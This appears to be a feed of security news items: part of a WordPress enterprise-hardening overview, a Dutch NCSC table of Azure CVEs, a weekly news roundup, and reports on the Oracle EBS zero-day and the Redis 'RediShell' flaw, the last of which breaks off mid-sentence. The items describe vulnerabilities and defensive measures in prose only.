infrastructure. To further enhance security and streamline workflows, we utilize single sign-on (SSO) with multi-factor authentication (MFA) for accessing all administrative interfaces and developer endpoints. The WordPress admin area, GraphQL and REST APIs, as well as build hooks, are only accessible through this robust SSO with MFA, ensuring that only authorized team members can reach sensitive controls and data. Access is strictly segmented, treating the admin plane as an internal-only application and fully separating it from the public-facing site. This architecture minimizes risk, protects critical infrastructure, and supports efficient, secure collaboration among our administrative and development teams. Network and edge security Our Web Application Firewall (WAF) works in tandem with advanced bot management to protect our site from a wide range of online threats. The WAF actively filters malicious payloads and prevents exploitation attempts, while the bot management system blocks known bad actors and suspicious automated traffic. Together, they help enforce rate limits—ensuring fair usage and preventing abuse that could impact site performance or security. This layered approach allows us to maintain a reliable, secure environment for all our users while shielding our resources from sophisticated cyber threats. To further secure our infrastructure, we have robust DDoS mitigation controls in place, designed to identify and absorb large-scale volumetric attacks before they reach our application. Coupled with customizable geo-blocking and ASN (Autonomous System Number) policies, we can restrict or filter access from high-risk regions and networks known for hostile activity. This proactive combination not only helps protect against both widespread and targeted attacks, but also ensures the continued availability and performance of our services for legitimate users around the globe. We enforce modern transport security standards across our entire platform by mandating TLS 1.3 for all connections. This ensures data transmitted between users and our site is encrypted using the latest, most secure protocol available. In addition, HTTP Strict Transport Security (HSTS) is enabled, compelling browsers to interact with our site only via secure HTTPS connections. Together, TLS 1.3 and HSTS provide strong guarantees of data integrity, confidentiality, and protection against common interception or downgrade attacks, giving our users peace of mind with every interaction. Service isolation and least privilege Our security framework is built on the principle of least-privilege access, ensuring that databases, object storage, and service accounts are tightly controlled. Each system and user is granted only the permissions essential for their specific role—nothing more. This minimizes the potential impact of accidental or malicious activity, as access is segmented and strictly limited across all layers of our architecture. By aligning permissions closely with functional requirements, we significantly reduce the risk of data exposure or unauthorized operations, reinforcing the integrity and confidentiality of our platform. Hardening at the application layer Secure configuration In our production WordPress environment, we implement a series of stringent measures to protect both the core application and user data. File editing through the wp-admin interface is completely disabled, eliminating a common attack vector and reducing the risk of unauthorized code changes. We enforce the use of strong, unique salts and keys, enhancing the integrity and security of authentication cookies and stored data. Additionally, the core filesystem is kept strictly read-only in production, preventing alterations to critical files and ensuring that even in the event of a compromise, attackers cannot modify system-level code or inject persistent threats. To further reduce the platform’s attack surface, we restrict XML-RPC functionality—often abused for brute-force attacks—and limit exposed REST API endpoints strictly to those required by our headless WordPress clients. User enumeration patterns, which attackers may exploit to gather account names, are actively blocked, thereby safeguarding user identities. On the front end, we enforce robust security headers, including a finely scoped Content Security Policy (CSP) to mitigate XSS threats, strict X-Frame-Options and Frame-Ancestors to prevent clickjacking, X-Content-Type-Options to block MIME-type attacks, and a privacy-friendly Referrer-Policy to minimize information leakage. Together, these layered controls ensure our site remains resilient against a broad spectrum of web threats. Auth and session security We integrate Single Sign-On (SSO) through industry-standard protocols such as SAML and OIDC, streamlining secure access for our teams while reducing the risks associated with password proliferation. Automated user provisioning and deprovisioning are managed via SCIM, ensuring that access is immediately granted to new team members and promptly revoked when it’s no longer needed. MFA is mandatory for all privileged users, significantly strengthening the security of critical accounts and administrative functions, and defending against credential-based attacks. Access within our environment is granted based on granular, role- and capability-based policies. Custom roles are carefully tailored so that editors, contributors, and admins receive only the permissions essential to their responsibilities, minimizing exposure and preventing privilege creep. We further secure administrative access by enforcing short-lived sessions, reducing the window of opportunity for session hijacking or misuse. This approach ensures that even if an administrative session is compromised, the potential for abuse is tightly constrained, keeping our site and its data safe. Data handling Security is at the forefront of our development practices, with a strong emphasis on protecting both our site and its users from application-level threats. We enforce the use of prepared statements for all database queries to defend against SQL injection, mandate thorough output escaping to prevent cross-site scripting (XSS), and ensure rigorous input sanitization in every layer of custom code and approved plugins. For protection against cross-site request forgery (CSRF), we implement nonces, providing an additional safeguard to validate user actions and prevent unauthorized commands. This multifaceted approach applies to every custom solution and trusted extension, reinforcing the reliability and trustworthiness of our platform. Data privacy and compliance round out our security strategy. We are committed to minimizing the storage of personally identifiable information (PII), classifying data sensitivity, and applying data retention policies that align with both regulatory requirements and customer expectations. Consent management is thoughtfully integrated into both our publishing workflow and the front-end user experience, so we can uphold privacy standards without sacrificing usability. This ensures users remain informed and in control of their data—supporting compliance with privacy laws and building trust through transparency and respect for user choices. Plugin and supply chain governance Controlled ecosystem Our approach to plugin management is deliberately conservative, maintaining a strict allowlist to ensure only vetted and essential plugins are present within our environment. We prioritize the use of “must-use” (mu-) plugins for enforcing global policies and delivering critical functionality, as these plugins are always active and centrally managed. This strategy prevents unauthorized or unnecessary code from entering our system, supports consistency across environments, and enables us to embed security controls directly into our platform’s foundational layers. Before any plugin or theme is deployed to production, it undergoes a comprehensive code review process to assess security, performance, and compatibility. We are proactive in curbing plugin sprawl, regularly auditing our stack and removing redundant or unsupported components to minimize complexity and reduce our attack surface. By keeping our codebase lean and disciplined, we not only defend against potential vulnerabilities found in third-party additions but also streamline maintenance and updates, ensuring the long-term stability and security of our production environment. Dependency management We take a comprehensive approach to dependency management and software supply chain integrity by generating Software Bill of Materials (SBOMs) for both PHP and JavaScript codebases. SBOMs allow us to track all direct and transitive dependencies, as well as their associated licenses, ensuring greater visibility and control over the components that make up our application. Dependencies are always pinned and locked to specific, approved versions, reducing the risk of introducing vulnerabilities through unintentional upgrades or changes. Automated tools like Dependabot continuously monitor for updates and propose them, but nothing reaches production unless it successfully passes through our continuous integration (CI) security gates. Our CI/CD pipeline is fortified with robust security controls at every stage. Every update, whether a dependency or code change, triggers automated Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) to identify potential vulnerabilities both before and during runtime. We employ secret scanning to prevent accidental exposure of credentials and keys, and every build is evaluated for license compliance and regulatory conformance. This layered approach ensures that our development processes are secure by default, continually verifying software quality, integrity, and compliance before anything is deployed to production. Vulnerability intelligence and patching We actively monitor CVE feeds and WordPress-focused security advisories, such as WPScan, to stay ahead of emerging vulnerabilities and threats. By keeping a close eye on both general and platform-specific intelligence sources, we’re able to rapidly identify potential risks relevant to our infrastructure. Upon detection, vulnerabilities are triaged and addressed according to well-defined Service Level Agreements (SLAs) based on severity—ensuring that critical issues receive immediate attention and routine patches are managed efficiently. This structured, proactive posture helps us mitigate risk and maintain the ongoing security and stability of our environment. In the rare event that a critical vulnerability threatens operational security or integrity, we are prepared with fast rollback plans that allow us to swiftly revert to a secure state. These procedures are designed to be executed with minimal disruption, ensuring urgent patches can be applied without causing extended downtime for users or administrators. By integrating rapid response capabilities into our workflows, we’re able to act decisively and minimize exposure, all while maintaining service availability and reliability at the highest standard. Infrastructure security operations Secrets and data We enforce strict secret management practices by using a centralized vault or cloud-native secret store to handle all sensitive credentials, API keys, and configuration secrets. No secrets are ever embedded in source code or stored within deployment images, reducing the risk of accidental exposure. Secret rotation is scheduled regularly as part of our operational cadence, ensuring that credentials remain fresh and limiting the window of opportunity for misuse even if a secret were somehow compromised. All data is secured with encryption both at rest and in transit, leveraging strong cryptographic controls across storage and networking layers. Where supported, our databases rely on IAM-based authentication instead of static credentials, further minimizing the risk associated with traditional username-password pairs. This approach not only enhances security but also streamlines access control and auditability, underpinning our commitment to robust, modern data protection practices throughout the stack. Backups and disaster recovery Our disaster recovery strategy rests on maintaining versioned, immutable backups that cannot be altered or deleted, providing a reliable safeguard against data loss, corruption, or ransomware attacks. These backups are created on a regular schedule and include not only application data, but also content, media assets, and configuration files. We conduct periodic restore drills to validate that our backups are effective and to ensure our team is prepared to execute recovery procedures smoothly. Explicit Recovery Time Objectives (RTOs) and Recovery Point Objectives (RPOs) are defined, routinely tested, and adjusted as needed to meet the demands of our operations and regulatory obligations. Data recovery playbooks are meticulously maintained and encompass every critical aspect of our environment, from core content and media to infrastructure-as-code templates that can quickly and predictably rebuild our systems. These playbooks provide step-by-step guidance for recovering data and restoring services, whether in response to accidental deletion, hardware failure, or a targeted attack. By rigorously documenting and testing these processes, we ensure a high degree of resilience and confidence in our ability to restore normal operations with minimal disruption, safeguarding both our assets and the experience of our users. Observability and response We maintain a comprehensive observability stack with centralized, structured logging that aggregates data from all key layers—Nginx, PHP-FPM, WordPress, and supporting services. This logging is enriched with real-time metrics and distributed traces, giving us end-to-end visibility into application performance and user activity across our digital experience platform (DXP). All logs are funneled into a Security Information and Event Management (SIEM) system, which acts as the nerve center for detecting and investigating potential threats. Hosts and containers are further protected by Endpoint Detection and Response (EDR) solutions, providing continuous monitoring and the ability to quickly isolate and remediate suspicious behavior. To enhance detection and incident response, we employ automated anomaly detection and maintain detailed runbooks, dramatically reducing our mean time to detect (MTTD) and mean time to respond (MTTR) to issues. Our security posture is continually tested and validated through regular penetration tests and an active bug bounty program that focus on the entire surface of our DXP, not just on isolated components. This holistic approach ensures we proactively identify vulnerabilities, address weaknesses before they can be exploited, and ultimately maintain a resilient, trustworthy platform for our users and customers. Certifications Obtained When it comes to building or selecting hosting for your organization’s sensitive data and mission-critical applications, certifications matter—a lot. Obtaining FedRAMP Moderate certified ensures compliance with rigorous federal security standards, making it a necessity for government-related workloads and a great standard for any organization to abide. Similarly, a SOC 2 Type 1 certification demonstrates that a hosting provider has established robust systems and controls to protect data and ensure privacy, fostering client trust and accountability. GovRAMP Moderate is critical for U.S. government contractors working with state and local government workloads, ensuring additional layers of compliance and security. If your data processing touches on European clients or users, GDPR and the Data Privacy Framework offer reassurance that personal data is handled and processed lawfully, transparently, and securely. Equally important is the Microsoft SSPA, a must-have for vendors providing services to Microsoft or handling its data. Lastly, WCAG 2.0 AA compliance ensures that your hosted applications and websites are accessible to users and employees with disabilities, strengthening your commitment to inclusivity and expanding your reach. By prioritizing these certifications, organizations not only safeguard compliance and security, but also demonstrate a dedication to transparency, privacy, and accessibility in today’s digital landscape. Editorial workflow governance Workflow controls Every administrative and content-related event is thoroughly audit-logged, capturing a detailed trail of actions for review and oversight. These logs are fully exportable, supporting compliance with regulatory requirements and internal governance policies. By maintaining comprehensive and accessible audit records, we provide the transparency necessary to facilitate investigations, enforce accountability, and demonstrate adherence to best practices and legal obligations—ensuring peace of mind for our organization and stakeholders alike. Secure content operations We prioritize security awareness by providing editors with ongoing training on critical topics, such as phishing recognition, safe link practices, and our governance policies for embedded scripts and third-party widgets. This continual education helps staff identify and avoid social engineering attacks, understand the risks associated with external content, and adhere to protocols that maintain the integrity and security of our web platform. By empowering editors with the knowledge to make secure decisions, we reduce the likelihood of errors that could compromise the site or expose sensitive information. To further protect user interactions, especially on forms, we deploy layered anti-spam defenses, implement bot challenges like CAPTCHAs, and set server-side rate limits to prevent abuse. All form inputs are validated on the server, ensuring robust protection even if client-side checks are bypassed or disabled. This disciplined approach to input handling and abuse prevention ensures our forms remain a secure channel for legitimate user engagement while blocking malicious actors and automated attacks. Reliable and secure performance Caching strategy Our performance strategy centers on comprehensive caching and efficient data handling to deliver a fast, reliable experience for both users and administrators. Edge and page-level caching shield our origin servers by intercepting and serving frequent requests directly at the edge, dramatically reducing the number of dynamic requests that reach the core infrastructure. Object caching solutions like Redis, coupled with thoughtfully optimized queries, keep the admin interface responsive and ensure APIs remain quick even under load. We routinely profile database queries and set strict performance budgets for the slowest paths, preventing regressions that could degrade performance or escalate into broader availability issues. This layered approach ensures our platform stays speedy, stable, and scalable as demands grow. Build pipeline Every code change in our workflow is subjected to automated testing, with comprehensive suites that verify functionality, performance, and security. Security gates are tightly integrated into the CI/CD pipeline, ensuring that no changes are merged if any issues or vulnerabilities are detected. Our deployment processes are fully automated and repeatable, significantly reducing the potential for human error and guaranteeing that releases are consistent, predictable, and recoverable. By managing our infrastructure as code, we further ensure that all environments—from development to production—are consistent, auditable, and easily reproducible. This approach not only accelerates the provisioning of resources and the rollout of updates, but also strengthens compliance and traceability, providing a solid foundation for scalability, reliability, and continuous improvement. UX and SEO We finely tune our security headers and Content Security Policies (CSPs) to deliver robust protection without disrupting the user experience, ensuring that all site functionality remains seamless and accessible. Our commitment to performance extends to advanced image optimization, responsive asset delivery, and strict adherence to accessibility standards, enabling our content to load quickly and be usable by everyone. By consistently delivering fast, accessible pages, we not only enhance user engagement but also enable rapid, safe deployment cycles—minimizing potential attack windows through swift rollouts and efficient rollbacks, and maintaining both security and usability at the core of our platform. Alternatives considered Proprietary Digital Experience Platforms (DXPs) present a compelling all-in-one suite of features that can streamline operations for many organizations. However, their advantages often come with trade-offs: these platforms tend to be resource intensive, both in terms of infrastructure and licensing fees, and may lack the granular transparency required for deep security audits or targeted customizations. The inherent complexity and tightly-coupled nature of these solutions can slow the pace of change—making it challenging to adapt or patch emergent threats rapidly, which is itself a significant security and business risk in dynamic environments. Headless-only SaaS CMSes, on the other hand, are designed for flexibility and API excellence, offering developers modern tooling and a frictionless integration experience. Despite these strengths, organizations may encounter challenges such as vendor lock-in, which can limit strategic choices and agility over time. Control over patching and updates is usually in the hands of the SaaS provider, potentially creating gaps between issue discovery and remediation. Further, these platforms may present hurdles in regions with strict data residency or compliance requirements, making them less suitable for regulated industries or global enterprises with nuanced jurisdictional needs. Systems like Drupal or fully-custom CMS architectures can undoubtably satisfy enterprise requirements for scale, extensibility, and security. However, in our evaluation, team expertise, the maturity and momentum of the adjacent tooling ecosystem, and a clear view of total cost of ownership all ultimately favored the adoption of WordPress. WordPress’s balance of flexibility, a wealth of existing integrations, well-understood operational paradigms, and strong community support enables us to deliver on our goals efficiently while ensuring we maintain the adaptability, security, and cost-effectiveness our organization requires. WordPress provides the best mix of transparency, control, ecosystem breadth, and speed—when paired with our security architecture and operating model. Lessons learned and best practices Start headless and isolate the admin plane from day one. Enforce SSO and MFA, least privilege roles, and formal change approval. Treat plugins as third-party code: audit, monitor, and patch under SLAs. Invest in observability and rehearse incident response regularly. Keep WordPress core close to vanilla; extend through vetted plugins and mu-plugins, not core forks. Security is not a property of a tool; it’s the outcome of architecture, governance, and culture. With a decoupled design, rigorous controls, and a disciplined operational posture, WordPress is a strong foundation for the content layer of an enterprise DXP—combining the openness and speed teams want with the security and control the business requires of its MarTech stack.
malwarebytes.comOct 17, 2025extracted
NCSC-2025-0311 [1.00] [M/H] Kwetsbaarheden verholpen in Microsoft Azure
Microsoft heeft kwetsbaarheden verholpen in diverse Azure componenten. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich voor te doen als andere gebruiker en zich mogelijk verhoogde rechten toe te kennen, om zo toegang te krijgen tot gevoelige gegevens of willekeurige code uit te voeren met verhoogde rechten. De ernstigste kwetsbaarheden bevinden zich in Azure Entra ID en stellen een kwaadwillende in staat om zich verhoogde rechten toe te kennen. Deze kwetsbaarheden bevinden zich in een centrale component van Azure en zijn inmiddels verholpen. Voor deze kwetsbaarheden is verder geen actie benodigd en deze zijn opgenomen ter informatie. `` Azure Connected Machine Agent: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-47989 | 7.00 | Verkrijgen van verhoogde rechten | | CVE-2025-58724 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Azure Entra ID: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-59218 | 9.60 | Verkrijgen van verhoogde rechten | | CVE-2025-59246 | 9.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Redis Enterprise: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-59271 | 8.70 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Confidential Azure Container Instances: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-59291 | 8.20 | Verkrijgen van verhoogde rechten | | CVE-2025-59292 | 8.20 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Azure Monitor Agent: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-59494 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2025-59285 | 7.00 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Azure PlayFab: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-59247 | 8.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Azure Monitor: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2025-55321 | 8.70 | Voordoen als andere gebruiker | |----------------|------|-------------------------------------| ``
advisories.ncsc.nlOct 14, 2025extracted
Week in review: Hackers extorting Salesforce, CentreStack 0-day exploited
Week in review: Hackers extorting Salesforce, CentreStack 0-day exploited Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: How to get better results from bug bounty programs without wasting money The wrong bug bounty strategy can flood your team with low-value reports. The right one can surface critical vulnerabilities that would otherwise slip through. A new academic study based on Google’s Vulnerability Rewards Program (VRP) offers rare data on how to tell the difference. Rethinking AI security architectures beyond Earth If you think managing cloud security is complex, try doing it across hundreds of satellites orbiting the planet. Each one is a moving endpoint that must stay secure while communicating through long, delay-prone links. A new study explores how AI could automate security for space systems and whether the best approach is to centralize control or spread it out. Behind the screens: Building security customers appreciate In this Help Net Security interview, Jess Vachon, CISO at PRA Group, discusses the company’s multi-layered defense against fraud and its commitment to protecting customer trust. Vachon explains how PRA Group balances identity verification with a seamless customer experience. From theory to training: Lessons in making NICE usable SMBs may not have big budgets, but they are on the receiving end of many cyberattacks. A new study from Cleveland State University looked at how these companies could train staff without getting lost in the thousands of skills and tasks in the NICE Cybersecurity Workforce Framework. The result is a stripped-down, scenario-based curriculum that may hold lessons for security leaders in much larger enterprises. Cl0p exploits Oracle E-Business Suite zero-day in data theft, extortion campaign (CVE-2025-61882) The Cl0p extortion gang exploited multiple Oracle E-Business Suite (EBS) vulnerabilities, including one zero-day flaw (CVE-2025-61882), “to steal large amounts of data from several victim[s] in August 2025,” Charles Carmakal, CTO at Mandiant – Google Cloud, stated on Sunday. Hackers launch data leak site to extort 39 victims, or Salesforce Scattered Lapsus$ Hunters launched a data leak site over the weekend, aiming to pressure organizations whose Salesforce databases they have plundered into paying to prevent the stolen data from being released. Leaked Oracle EBS exploit scripts expected to drive new wave of attacks (CVE-2025-61882) Resecurity and watchTowr researchers have analyzed the leaked scripts used by attackers to exploit CVE-2025-61882 on internet-facing Oracle ESB instances. Whether the attackers were Cl0p or LAPSUS$, both, or even additional threat actors is still unknown, as the scripts have been leaked on Telegram. Redis patches critical “RediShell” RCE vulnerability, update ASAP! (CVE-2025-49844) Redis, the company behind the widely used in-memory data structure store of the same name, has released patches for a critical vulnerability (CVE-2025-49844) that may allow attackers full access to the underlying host system. North Korean hackers stole over $2 billion in cryptocurrency this year North Korean hackers have stolen more than $2 billion in cryptocurrency in 2025, according to blockchain analytics firm Elliptic, and the year isn’t over yet. Researchers uncover ClickFix-themed phishing kit Palo Alto Networks researchers have discovered and analyzed “IUAM ClickFix Generator”, a phishing kit that allows less skilled attackers to infect unsuspecting users with malware by using the increasingly popular ClickFix social engineering technique. Attackers compromised ALL SonicWall firewall configuration backup files The attackers who brute-forced their way into SonicWall’s firewall cloud backup service accessed configuration backup files of all customers who have used the service, SonicWall stated on Wednesday, following the conclusion of a Mandiant-supported investigation into the incident. Legit tools, illicit uses: Velociraptor, Nezha turned against victims Threat actors are using an increasing variety of commercial and open-source products to carry out their attacks: according to researchers, Velociraptor and Nezha are the latest additions to their attack toolbox. Attackers are exploiting Gladinet CentreStack, Triofox vulnerability with no patch (CVE-2025-11371) CVE-2025-11371, a unauthenticated Local File Inclusion vulnerability in Gladinet CentreStack and Triofox file-sharing and remote access platforms, is being exploited by attackers in the wild. Securing agentic AI with intent-based permissions For decades, action-based permissions have performed the role of the seatbelts of enterprise security, essential guardrails that define what users or systems can do. But with the rise of agentic AI and autonomous software agents that operate independently and make decisions at scale, IAM now needs intent-based permissions that understand not only what an AI agent is doing, but why. October 2025 Patch Tuesday forecast: The end of a decade with Microsoft A lot of classic software is reaching end-of-life (EOL) this month. Windows 10, Office 2016 and Exchange Server 2016 have survived after nearly a decade of service. Not far behind, after six years in existence, comes the end of Office 2019 and Exchange Server 2019. Turning the human factor into your strongest cybersecurity defense In this Help Net Security video, Jacob Martens, Field CISO at Upwind Security, explores one of cybersecurity’s most enduring challenges: the human factor behind breaches. Despite advances in technology, most attacks still begin with people, not code. He explains how tactics like phishing and social engineering continue to succeed by exploiting human emotions such as urgency, fear, and even friendliness. Meet ARGUS, the robot built to catch hackers and physical intruders Hospitals, airports, and campuses are no longer dealing with separate security problems. Someone can slip past a checkpoint while another actor launches a network scan, and together those actions create a bigger risk than either one alone. Most surveillance tools and patrol robots are built to catch one or the other. A new study introduces ARGUS, a mobile system that watches the digital and physical environment at the same time and ties its findings together. How to succeed at cybersecurity job interviews Imagine this: you’ve made it through the résumé screen, your skills look solid on paper, and now it’s interview day. The next hour will decide whether you move forward or go back to the job boards. What separates the candidates who land offers from those who don’t is preparation and knowing what to expect when the questions start coming. The architecture of lies: Bot farms are running the disinformation war Bot farms have moved into the center of information warfare, using automated accounts to manipulate public opinion, influence elections, and weaken trust in institutions. New system aims to keep people connected when networks fail When disaster strikes, communication often fails. Cell towers can go offline, internet connections can disappear, and people are left without a way to share information or ask for help. A new research project looks at how to keep people talking even when regular networks are gone. Developing economies are falling behind in the fight against cybercrime Cybercrime is a global problem, but not every country is equally equipped to fight it. In many developing economies, cybersecurity is still seen as a luxury, something nice to have when budgets allow. That means little investment in tools, training, or talent. Researchers develop AI system to detect scam websites in search results Scam websites tied to online shopping, pet sales, and other e-commerce schemes continue to cause millions in losses each year. Security tools can accurately detect fraudulent sites once they are found, but identifying new ones remains difficult. Proxmox Mail Gateway: Open-source email security solution reaches version 9.0 First released in 2005, the open-source Proxmox Mail Gateway has become a widely adopted mail proxy, positioned between the firewall and the internal mail server to stop threats before they reach users. The platform delivers anti-spam and antivirus filtering to help organizations counter email-borne risks such as malware, Trojans, and phishing campaigns. DefectDojo: Open-source DevSecOps platform DefectDojo is an open-source tool for DevSecOps, application security posture management (ASPM), and vulnerability management. It helps teams manage security testing, track and remove duplicate findings, handle remediation, and generate reports. Nagios: Open-source monitoring solution Nagios is an open-source monitoring solution, now included as part of the robust Nagios Core Services Platform (CSP). It delivers end-to-end visibility across the entire IT infrastructure, covering everything from websites and DNS to servers, routers, switches, workstations, and critical services. It helps organizations proactively detect issues, minimize downtime, and ensure the reliability of their systems. Phishing is old, but AI just gave it new life The volume of cyberattacks has reached staggering levels, with new tactics that blur the line between legitimate and malicious activity. A new threat report from Comcast, based on 34.6 billion cybersecurity events analyzed over the past year, shows what adversaries are doing and what this means for enterprise leaders. Old authentication habits die hard Many organizations still rely on weak authentication methods while workers’ personal habits create additional risks, according to Yubico. Cybersecurity’s next test: AI, quantum, and geopolitics Geopolitics, emerging technology, and skills shortages are reshaping cybersecurity priorities across industries, according to a new PwC report. The findings show a mix of rising awareness, persistent weaknesses, and uneven preparation for the next wave of threats. Six metrics policymakers need to track cyber resilience Most countries are still making national cyber policy decisions without reliable numbers. Regulations often focus on incident reporting after damage is done, but they fail to give governments a forward-looking picture of resilience. A new report from Zurich Insurance Group argues that this gap leaves economies exposed and slows the ability to respond to systemic threats. Outdated encryption leaves crypto wide open The cryptocurrency sector faces an existential threat on two fronts: none of the 2,138 web applications and 146 mobile apps tested by ImmuniWeb support post-quantum encryption, and more than 7.8 million user records are already circulating on the dark web. Your SOC is tired, AI isn’t Security teams have discussed AI in the SOC for years, but solid evidence of its impact has been limited. A recent benchmark study by Dropzone puts measurable evidence behind the idea, showing that AI agents can help analysts work faster and with greater accuracy during alert investigations, without major changes to existing workflows. Cybersecurity jobs available right now: October 7, 2025 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. eBook: Defending Identity Security the Moment It’s Threatened Credential-based attacks happen in seconds. Learn how to block weak or stolen passwords instantly, safeguard accounts in real time, and reduce helpdesk headaches with automated defense. New infosec products of the week: October 10, 2025 Here’s a look at the most interesting products from the past week, featuring releases from Object First, OPSWAT, Radiflow, and Semperis.
helpnetsecurity.comOct 12, 2025extracted
Exploitation of Oracle EBS Zero-Day Started 2 Months Before Patching
More information has come to light on the recently patched Oracle E-Business Suite (EBS) zero-day, with evidence indicating that threat actors knew about the vulnerability for at least two months before it was patched. Google Threat Intelligence Group (GTIG) and Mandiant first warned about attacks aimed at Oracle E-Business Suite on October 2, after executives at many organizations received extortion emails from the Cl0p cybercrime group. It has since been confirmed that Cl0p was behind the attacks, and that the cybercriminals likely managed to steal large amounts of data from the EBS instances of targeted organizations since August. Oracle initially said the attacks appeared to involve exploitation of unspecified vulnerabilities patched in July, but the software giant confirmed on October 4 that a zero-day flaw has also been exploited. The zero-day, tracked as CVE-2025-61882 with a CVSS score of 9.8, impacts the BI Publisher Integration component of Oracle Concurrent Processing. It can be exploited by an unauthenticated attacker for remote code execution. CrowdStrike has been monitoring the attacks involving CVE-2025-61882 and has tied them with moderate confidence to a Russia-linked threat actor it tracks as Graceful Spider, which is known for conducting attacks with the Cl0p ransomware. However, the cybersecurity firm says it’s possible that multiple groups have exploited the zero-day. While CrowdStrike’s investigation is ongoing, the information it has collected to date indicates that the zero-day was first exploited on August 9. The hacker groups ShinyHunters and Scattered Spider (now calling themselves Scattered LAPSUS$ Hunters as a result of a collaboration) have published a proof-of-concept (PoC) exploit for CVE-2025-61882. While it initially appeared that Scattered LAPSUS$ Hunters may have been collaborating with the Cl0p hackers, a message in one of the files published alongside the exploits suggests a feud between the threat groups. Indicators of compromise (IoCs) published by Oracle suggested that the leaked PoC was real, which has been confirmed by an analysis of the PoC conducted by security firm WatchTowr. “The [exploit] chain demonstrates a high level of skill and effort, with at least five distinct bugs orchestrated together to achieve pre-authenticated Remote Code Execution,” WatchTowr said. With the PoC now public, the cybersecurity industry expects other threat actors to add CVE-2025-61882 to their arsenal and they may still have plenty of targets to choose from. Censys reported seeing over 2,000 internet-exposed instances of Oracle E-Business Suite. The Shadowserver Foundation has identified over 570 potentially vulnerable instances. Both Censys and Shadowserver saw the highest number of EBS instances in the United States, followed at a distance by China. Related: Fortra GoAnywhere MFT Zero-Day Exploited in Ransomware Attacks Related: Critical Vulnerability Puts 60,000 Redis Servers at Risk of Exploitation
securityweek.comOct 8, 2025extracted
Critical Flaw Exposes 60,000 Redis Servers to Remote Exploitation
A critical security flaw in Redis, a popular in-memory database platform used by about 75% of cloud environments, has left an estimated 60,000 servers vulnerable to remote exploitation. The flaw, identified as CVE-2025-49844 and nicknamed “RediShell,” carries the maximum severity score of 10.0 under the Common Vulnerability Scoring System (CVSS). The issue, which has remained undetected for 13 years, lies in Redis’s embedded Lua scripting engine. This use-after-free vulnerability allows authenticated attackers to upload specially crafted Lua scripts, escape the sandbox and execute arbitrary code on the host. Once compromised, an attacker could deploy a reverse shell for persistent access, steal credentials, move laterally through internal networks or install malware and cryptominers. Thousands of Servers Exposed Online Although exploitation requires authentication, research by cloud security firm Wiz found approximately 330,000 Redis instances exposed to the internet, with about 60,000 not protected by any authentication. This combination of public exposure and weak configuration makes these servers especially vulnerable. Redis and Wiz jointly disclosed the flaw on October 3, urging administrators to patch immediately. The company released fixes for Redis versions 7.22.2-12, 7.8.6-207, 7.4.6-272, 7.2.4-138 and 6.4.2-131, along with corresponding updates for its open source and commercial editions. Redis advised users to apply updates without delay and implement additional safeguards: Enable authentication and restrict access to trusted networks Disable Lua scripting if not required Run Redis as a non-root user Enforce firewalls and Virtual Private Clouds (VPCs) Monitor logs and set alerts for suspicious behavior Broader Threat Landscape Redis servers have long been a target for cybercriminals. Past attacks, such as those involving the P2PInfect, Redigo, HeadCrab and Migo malware, used unpatched or exposed instances to deploy cryptocurrency miners and ransomware. While there is currently no evidence that CVE-2025-49844 has been exploited in the wild, experts warn that the widespread use of Redis and default insecure configurations make rapid patching and strict network controls essential to prevent future attacks.
infosecurity-magazine.comOct 7, 2025extracted
Redis patches critical “RediShell” RCE vulnerability, update ASAP! (CVE-2025-49844)
Redis patches critical “RediShell” RCE vulnerability, update ASAP! (CVE-2025-49844) Redis, the company behind the widely used in-memory data structure store of the same name, has released patches for a critical vulnerability (CVE-2025-49844) that may allow attackers full access to the underlying host system. “This flaw allows a post auth attacker to send a specially crafted malicious Lua script (a feature supported by default in Redis) to escape from the Lua sandbox and achieve arbitrary native code execution on the Redis host,” Wiz researchers noted. To make matters even worse, the official Redis container images have authentication disabled by default. “Our analysis shows that 57% of cloud environments install Redis as an image. If not installed carefully, these instances may lack authentication entirely. The combination of no authentication and exposure to the internet is highly dangerous, allowing anyone to query the Redis instance and, specifically, send Lua scripts (…). This enables attackers to exploit the vulnerability and achieve RCE within the environment,” the researchers added. About CVE-2025-49844 Dubbed RediShell by the Wiz researchers who found and reported it, CVE-2025-49844 stems from a use-after-free memory corruption bug that may allow attackers to manipulate Redis’ Garbage Collector via specially crafted Lua scripts. Once a vulnerable Redis installation is breached and the underlying host is compromised, attackers may establish persistent access, install cryptominers or malware, exfiltrate sensitive data both from Redis and the host, compromise / steal credentials and use some of them (e.g., IAM tokens) to access other cloud services, Wiz researchers noted. The vulnerable code was added to Redis’ codebase in 2012. Thus, CVE-2025-49844 affects Redis (server) versions that use Lua scripting: v8.2.1 and earlier. The vulnerability has been fixed in: (Commercial, closed-source) Redis Software releases – 7.22.2-12 and higher, 7.8.6-207 and higher, 7.4.6-272 and higher, 7.2.4-138 and higher, 6.4.2-131 and higher Redis OSS/CE (open-source/Community Edition) releases with Lua scripting: 8.2.2 and higher, 8.0.4 and higher, 7.4.6 and higher, 7.2.11 and higher Redis Stack releases: 7.4.0-v7 and higher, 7.2.0-v19 and higher Update or disable Lua scripting Wiz researchers say that there are approximately 330,000 internet-exposed Redis instances out there, and about 60,000 of them have no authentication configured. The German 